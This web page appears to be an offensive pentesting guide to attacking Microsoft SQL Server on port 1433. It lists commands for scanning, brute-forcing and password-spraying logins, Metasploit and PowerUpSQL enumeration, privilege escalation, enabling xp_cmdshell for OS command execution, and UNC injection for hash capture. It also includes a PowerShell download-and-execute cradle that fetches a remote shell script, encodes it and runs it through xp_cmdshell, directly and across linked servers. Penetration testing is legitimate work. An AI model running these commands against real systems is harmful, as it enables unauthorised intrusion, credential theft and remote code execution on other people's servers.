Pentesting MSSQL Port 1433 | Pentesting.Site

Pentesting MSSQL

Microsoft SQL Server is a widely used relational database management system that listens by default on TCP port 1433. In Windows-heavy environments, it's not uncommon to find internal or exposed instances that allow unauthenticated enumeration or suffer from weak configurations. These instances can be leveraged to gain initial access, pivot further within a network, or even execute system-level commands via features like xp_cmdshell.

When encountering an open MSSQL port, your first steps should focus on identifying exposed services, accessible databases, valid users, and weak credentials. From there, you can begin exploiting available stored procedures and extended functions or escalate via trusted links and UNC injection.

Discovery and Enumeration

Before proceeding with enumeration and further penetration testing steps, it’s important to identify which systems are exposing MSSQL on port 1433. Use the tools below to locate live targets quickly.

1
nmap -p 1433 -Pn -n 10.1.1.1                 # Scan an IP for port 1433 open
2
nmap -p 1433 -Pn -n 10.0.0.0/24              # Scan network for hosts with port 1433 open
3
nmap -p 1433 -Pn -n -iL targets.txt          # Scan a file of hosts for open port 1433
4
masscan -p1433 10.1.1.0/24 --rate=10000      # Fast discovery across wide ranges
5
zmap -p 1433 10.1.1.0/24                     # Lightweight single-port scanning at scale

For service validation and banner grabbing:

1
nmap -sV -p1433 10.1.1.0/24                   # Detect MSSQL and grab version info

To discover SQL servers over NetBIOS, use:

1
nbtscan 10.1.1.0/24                # Find hostnames, workgroups, and NetBIOS data

Initial Enumeration

Once port 1433 is discovered, the first step is to extract as much information as possible using Nmap and other automated tools. These NSE scripts can reveal valuable data such as versioning, domain names, and authentication methods, even without valid credentials.

1
nmap -p1433 --script=ms-sql-empty-password.nse --script-args=unsafe=1 -v 10.1.1.1                       # Check for blank SA password
2
nmap -p1433 --script=ms-sql-info.nse --script-args=unsafe=1 -v 10.1.1.1                                 # Retrieve MSSQL version, hostname, domain, etc.
3
nmap -p1433 --script=ms-sql-ntlm-info.nse --script-args=unsafe=1 -v 10.1.1.1                            # Get NTLM auth and domain info via NTLM
4
nmap -p1433 --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1 -v 10.1.1.1                   # Discover MSSQL instances across the local network

You can combine multiple scripts into one big scan using the command below:

1
# Full enumeration with all common MSSQL NSE scripts
2
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
3
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.1.1.1

NSE Script Directory

Here are the most useful Nmap NSE scripts for MSSQL:

1
/usr/share/nmap/scripts/broadcast-ms-sql-discover.nse         # Discover SQL services
2
/usr/share/nmap/scripts/http-sql-injection.nse                # HTTP SQL injection (generic)
3
/usr/share/nmap/scripts/ms-sql-brute.nse                      # Brute-force MSSQL
4
/usr/share/nmap/scripts/ms-sql-config.nse                     # MSSQL config dump
5
/usr/share/nmap/scripts/ms-sql-dump-hashes.nse                # Attempt hash dump
6
/usr/share/nmap/scripts/ms-sql-empty-password.nse             # Test for blank passwords
7
/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse                # Check database access
8
/usr/share/nmap/scripts/ms-sql-info.nse                       # Version, host, and domain info
9
/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse                # Check xp_cmdshell availability

Brute Force Attacks

If the server doesn’t allow unauthenticated access, you can try credential attacks using known usernames (like sa) and common passwords.

Hydra is a popular tool for brute-forcing several protocols, including MSSQL. It can be found here: https://github.com/vanhauser-thc/thc-hydra

1
hydra -l sa -p 'Password1' 10.1.1.1 mssql                                         # Attempt login with known user/pass
2
hydra -l sa -P Passwords.txt 10.1.1.1 mssql                                       # Attempt login with known user and brute force password
3
hydra -l admin@test-dev9368 -P /usr/share/wordlists/rockyou.txt 10.1.1.1 mssql    # Azure SQL brute-force (username must include @dbname)

NetExec can be used to brute-force and password-spray MSSQL servers. It can be found here: https://github.com/Pennyw0rth/NetExec/releases

1
netexec mssql 10.1.1.0/24 -u 'sa' -p passwordfile         # Password spraying MSSQL user
2
netexec mssql 10.1.1.0/24 -u userfile -p passwordfile     # Password spraying MSSQL

Connecting to the Database

With credentials discovered in the above techniques, connect to the database server using any of the following tools, sqlcmd, EvilSQLClient and Impacket, to explore tables, stored procedures, and user roles. This can also help identify lateral movement opportunities.

1
sqlcmd -S SERVER\TEST -Q "SELECT name FROM master.dbo.sysdatabases"             # Enumerate databases via Microsoft's sqlcmd utility
2
python mssqlclient.py DOMAIN/username:'password'@target -windows-auth           # Impacket's powerful MSSQL client using Windows authentication

EvilSQLClient (esc.exe) drives interactively rather than via one-shot flags — set the target instance, then run its built-in checks:

1
esc.exe
2
set instance SQLServer1.corp.local
3
check loginaspw     # Test for logins that reuse their own username as password
4
check defaultpw     # Test known default credentials for common applications

GUI tools like DBeaver or HeidiSQL also provide a visual interface for further enumeration and SQL query execution.

Metasploit includes several modules for MSSQL, covering login attempts, enumeration, and command execution via xp_cmdshell. It can be very useful for automating exploitation or quickly testing credentials across multiple targets.

To log in using Metasploit:

1
msfconsole
2
use auxiliary/scanner/mssql/mssql_login
3
set RHOSTS 10.1.1.1
4
set USERNAME sa
5
set PASSWORD P@ssw0rd
6
set RPORT 1433
7
run

Once you have valid MSSQL credentials you can enumerate databases or execute commands:

1
use auxiliary/admin/mssql/mssql_enum
2
set RHOSTS 10.1.1.1
3
set USERNAME sa
4
set PASSWORD P@ssw0rd
5
run

To execute OS commands such as whoami via xp_cmdshell:

1
use auxiliary/admin/mssql/mssql_exec
2
set RHOSTS 10.1.1.1
3
set USERNAME sa
4
set PASSWORD P@ssw0rd
5
set CMD whoami
6
run

PowerUpSQL

PowerUpSQL opens the door to a wide range of SQL pentesting capabilities. Whether you’re enumerating linked servers, uncovering stored credentials, or auditing for privilege escalation paths, PowerUpSQL helps automate and simplify the process for red teamers and pentesters.

1
Import-Module .\PowerUpSQL.ps1

Basic MSSQL Instance Discovery

It is important to map out the SQL landscape first. PowerUpSQL provides threaded discovery functions that can scan the domain or a list of hosts to identify accessible SQL instances.

1
Get-SQLInstanceLocal -Verbose                                                       # Discover local SQL Server instances on the current host
2
Get-SQLInstanceBroadcast -Verbose                                                    # Discover SQL instances via UDP broadcast ping
3
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1                     # Targeted UDP port scan against a specific host
4
Get-SQLInstanceDomain -Verbose                                                       # Discover Active Directory domain SQL Server instances via SPNs
5
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose                       # Discover all reachable SQL instances in the domain
6
Get-SQLInstanceFile -FilePath .\machines.txt | Get-SQLInstanceScanUDPThreaded        # Scan multiple hosts from a list to identify SQL instances over UDP

Domain-wide discovery can also be pointed at a specific DC using alternate credentials, which is useful when running from a non-domain-joined attack host:

1
Get-SQLInstanceDomain -Verbose -DomainController 10.1.1.1 -Username domain\user -Password 'P@ssword123'
2
Get-SQLInstanceDomain -Verbose -DomainAccount SQLSvc     # List SQL Servers whose SPN is registered to a specific service account

Authenticating as a Different Domain User

If you’ve obtained credentials for a domain user other than the one you’re currently logged in as, spawn a new PowerShell session under those credentials before running any of the above:

1
runas /noprofile /netonly /user:domain\user PowerShell.exe
2
Import-Module .\PowerUpSQL.ps1

PowerUpSQL also accepts credentials directly on most cmdlets, without needing a separate session:

1
Get-SQLQuery -Verbose -Instance "10.1.1.1,1433"                                     # Query as the current domain user
2
Get-SQLQuery -Verbose -Instance "10.1.1.1,1433" -Username testuser -Password testpass   # Query using SQL authentication

Weak Credential Audit

Once you’ve identified SQL instances, the next step is testing for weak or default credentials. PowerUpSQL includes built-in functionality to perform these checks for you.

1
Invoke-SQLAuditWeakLoginPw -Verbose -Instance 10.1.1.1     # Audit the target for weak SQL credentials (uses a built-in weak password list)

To use your own username and password wordlists instead of the built-in list:

1
Get-SQLInstanceFile -FilePath .\Instances_Accessible.txt | Invoke-SQLAuditWeakLoginPw -Verbose -UserFile ".\users.txt" -PassFile ".\passwords.txt"

Once you know one working SQL login, it’s worth checking how many other instances on the domain accept it — password reuse across instances is common:

1
# List every domain SQL instance a known login/password can authenticate to
2
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username testuser -Password testpass | Where-Object {$_.Status -like "Accessible"}
3
$Targets
4

5
# Same check, but as the current domain user (no explicit credentials)
6
$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
7
$Targets

Bulk Credential Audit

Auditing one host is good. Auditing all of them is even better. This loop lets you automate credential auditing across a list of SQL instances, saving you time.

1
# Audit many SQL servers in a loop for misconfigurations and weak logins
2
foreach ($line in Get-Content "sql_instances.txt") {
3
    Invoke-SQLAudit -Verbose -Instance $line
4
}

If you’re testing accessibility and want to log all discovered weak credentials, use the following pattern to save the results to a file:

1
# Save weak credentials found during audits
2
Import-Module .\PowerUpSQL.ps1
3
$results = foreach ($line in Get-Content "Instances_Accessible.txt") {
4
    Invoke-SQLAuditWeakLoginPw -Verbose -Instance $line
5
}
6
$results | Out-File -FilePath weak-passes.txt -Append

Linked Servers & Lateral Movement

Linked SQL Servers can allow you to pivot across systems, often bypassing traditional network segmentation. PowerUpSQL makes it easy to enumerate and interact with these links.

1
Get-SQLServerLink -Instance 10.1.1.1          # Enumerate linked SQL servers (potential lateral movement paths)
2
Get-SQLServerLinkCrawl -Instance 10.1.1.1     # Crawl all discovered linked servers recursively

If xp_cmdshell is available on the linked server, you can even execute commands:

1
Invoke-SQLServerLinkCommand -Instance 10.1.1.1 -Query "whoami"      # Execute a query on a linked server

Stored Credentials & Trusts

SQL servers may store credentials or have trust relationships that can be abused. Use these commands to identify juicy targets and configuration weaknesses.

1
Get-SQLServerInfo -Instance 10.1.1.1          # Gather SQL Server configuration info (user, version, domain, etc.)
2
Get-SQLStoredCredential -Instance 10.1.1.1    # Extract stored SQL credentials (if any)
3
Get-SQLServerTrust -Instance 10.1.1.1         # Check for database trust relationships

For a broader domain sweep, run the general info-gathering functions across every discovered instance at once:

1
$ServerInfo = Get-SQLInstanceDomain | Get-SQLServerInfoThreaded -Verbose -Threads 10   # SQL/OS versions, service accounts, sysadmin access, etc. across the domain
2
$ServerInfo
3
Invoke-SQLDumpInfo -Verbose -Instance SQLServer1\Instance1                              # Dump everything PowerUpSQL knows about a single instance in one go

SQL Agent Jobs are also worth pulling directly — they’re frequently used to run scheduled maintenance scripts and often contain plaintext credentials:

1
Get-SQLAgentJob -Verbose -Instance SQLServer1\Instance1 -Username sa -Password 'P@ssword!'
2
Get-SQLInstanceDomain -Verbose | Get-SQLAgentJob -Verbose -Username sa -Password 'P@ssword!' | Out-GridView

Privilege Escalation Checks

Understanding your current level of access is key. PowerUpSQL allows you to query roles and permission sets to identify paths for privilege escalation.

1
Get-SQLServerRole -Instance 10.1.1.1                    # Check your role on the SQL server
2
Get-SQLServerPrivilegedRoleMember -Instance 10.1.1.1    # Identify members of high-privilege SQL roles (like sysadmin)
3
Get-SQLServerLoginDefaultPw -Instance 10.1.1.1          # Check if any SQL logins are using default credentials

Where a lower-privileged login is misconfigured, PowerUpSQL can attempt to escalate it to sysadmin directly:

1
Invoke-SQLAudit -Verbose -Instance SQLServer1          # Audit an instance for known escalation vectors
2
Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1   # Attempt escalation to sysadmin using whichever vector applies

File Access & OS Command Execution

If xp_cmdshell is enabled, you can interact with the underlying OS beyond the database. This often allows you to exfiltrate data or execute malicious binaries.

1
Invoke-SQLOSCmd -Instance 10.1.1.1 -Command "whoami"                           # Run system commands via xp_cmdshell (if enabled)
2
Invoke-SQLQuery -Instance 10.1.1.1 -Query "SELECT * FROM master..syslogins"    # Run arbitrary SQL queries
3
Get-SQLServerFile -Instance 10.1.1.1 -FilePath "C:\Windows\win.ini"            # Read files from the SQL server host if permissions allow

If xp_cmdshell specifically is disabled or being monitored, PowerUpSQL supports several less obvious execution paths against a pre-built target list:

1
$Targets | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 10             # Standard xp_cmdshell execution across multiple targets
2
$Targets | Invoke-SQLOSCLR -Verbose -Command "whoami"                         # Execute via a CLR assembly instead of xp_cmdshell
3
$Targets | Invoke-SQLOSOle -Verbose -Command "whoami"                         # Execute via OLE automation procedures
4
$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'Write-Output "hello world" | Out-File C:\Windows\Temp\test.txt' -Sleep 20   # Execute by scheduling a one-off SQL Agent job

For lateral movement that avoids xp_cmdshell entirely and doesn’t touch disk on the target, Squeak automates command execution over MSSQL links via CLR.

Parallel Scanning & Threading

When working in large environments, performance matters. These threaded scans allow for faster enumeration and instance crawling:

1
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 20 -Verbose    # Speed up scanning with multi-threading
2
Get-SQLServerLinkCrawl -Threads 10 -Instance 10.1.1.1                         # Speed up linked server crawling

Remote Code Execution (xp_cmdshell)

If xp_cmdshell is enabled (or can be enabled), you can execute arbitrary commands on the SQL server’s host system. This is one of the most dangerous misconfigurations in SQL Server and offers direct shell access via SQL.

1
EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;                  -- Enable advanced options
2
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;                            -- Enable xp_cmdshell
3
EXEC master..xp_cmdshell 'whoami';                                            -- Execute OS command

Once credentials (or a hash) are confirmed, NetExec can enable and use xp_cmdshell for you in a single command, without needing an interactive client:

1
netexec mssql 10.1.1.1 -d DOMAIN -u username -p password -x "whoami"       # Execute a command using a username/password
2
netexec mssql 10.1.1.1 -d DOMAIN -u username -H HASH -X '$PSVersionTable'  # Execute a PowerShell command using a username/NTLM hash

Manual Command Injection via HeidiSQL

If you’re using HeidiSQL or another SQL GUI and want to test RCE manually, you can enable xp_cmdshell and pass PowerShell payloads directly into SQL.

1
EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;
2
EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;
3

4
DECLARE @SQL varchar(8000)
5
SET @SQL = 'powershell -enc ZgB1AG4AYwB0AGkAbwBuAC.......'                     -- Encoded PowerShell payload
6
EXEC master..xp_cmdshell @SQL

To generate the base64-encoded command:

1
$text = "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Captain404/shells/main/run.ps1') | IEX"
2
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
3
$encodedtext = [Convert]::ToBase64String($bytes)
4
$encodedtext > encoded.txt                                                                                                       # Save payload for injection

UNC Injection (Out-of-Band)

Another common abuse method is UNC injection, which triggers outbound SMB connections from the SQL server to your listener. This can be used for NTLM relay or hash capture via Responder.

1
xp_dirtree '\\10.1.1.1\file'                                          -- Initiate SMB request
2
xp_fileexist '\\10.1.1.1\file'                                        -- SMB file existence probe
3
DECLARE @user varchar(100); SELECT @user = (SELECT user);
4
EXEC ('master..xp_dirtree "\\'+@user+'.10.1.1.1\aa"');                -- Use SQL user as subdomain

PowerUpSQL automates the domain-user-to-SQL-service-account version of this attack: while authenticated as a domain user, it identifies SQL Servers on the domain via an LDAP query for SPNs, attempts to log into each, then performs UNC path injection to capture and crack the associated SQL Server service account’s hash.

1
Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12    # Run against every reachable domain SQL instance, capturing hashes on the listener at 10.1.1.12

Manual Linked Server Enumeration & Abuse (T-SQL)

Where PowerShell/PowerUpSQL isn’t an option — for example, connecting from Linux with mssqlclient.py or a GUI client like HeidiSQL — the same linked-server abuse can be done by hand with raw T-SQL.

Start by listing configured links and which of them allow data access:

1
SELECT * FROM master..sysservers;                          -- View existing database links
2
SELECT * FROM master..sysservers WHERE dataaccess = 1;      -- Only links that permit data access

OPENQUERY lets you run a query against a linked server directly, which is useful for checking whether a specific group or account holds sysadmin on the far side:

1
SELECT * FROM OPENQUERY([SQL01], 'SELECT name, type_desc, is_disabled FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER(''sysadmin'', name) = 1 AND name = ''AppLinkedServers'' ORDER BY name');

Impersonation checks — confirm what a given login actually resolves to before relying on it:

1
EXECUTE AS LOGIN = 'svc_webapp';
2
SELECT SYSTEM_USER;
3
SELECT IS_SRVROLEMEMBER('sysadmin');

List every member of the sysadmin role on the current instance:

1
SELECT member.name
2
FROM sys.server_role_members rm
3
JOIN sys.server_principals role
4
  ON rm.role_principal_id = role.principal_id
5
JOIN sys.server_principals member
6
  ON rm.member_principal_id = member.principal_id
7
WHERE role.name = 'sysadmin';

If a linked server trusts the current login as sysadmin, you can enable xp_cmdshell on the remote instance without ever connecting to it directly, then execute commands on it through the link:

1
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT "SQL27";
2
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT "SQL27";
3
EXEC ('xp_cmdshell ''ipconfig''') AT "SQL27";

This chains cleanly into a download-and-execute cradle on the remote instance, entirely through the linked server:

1
EXEC ('xp_cmdshell ''powershell -enc <base64-encoded (New-Object Net.WebClient).DownloadString(...) | IEX>''') AT "SQL27";

1433 - MSSQL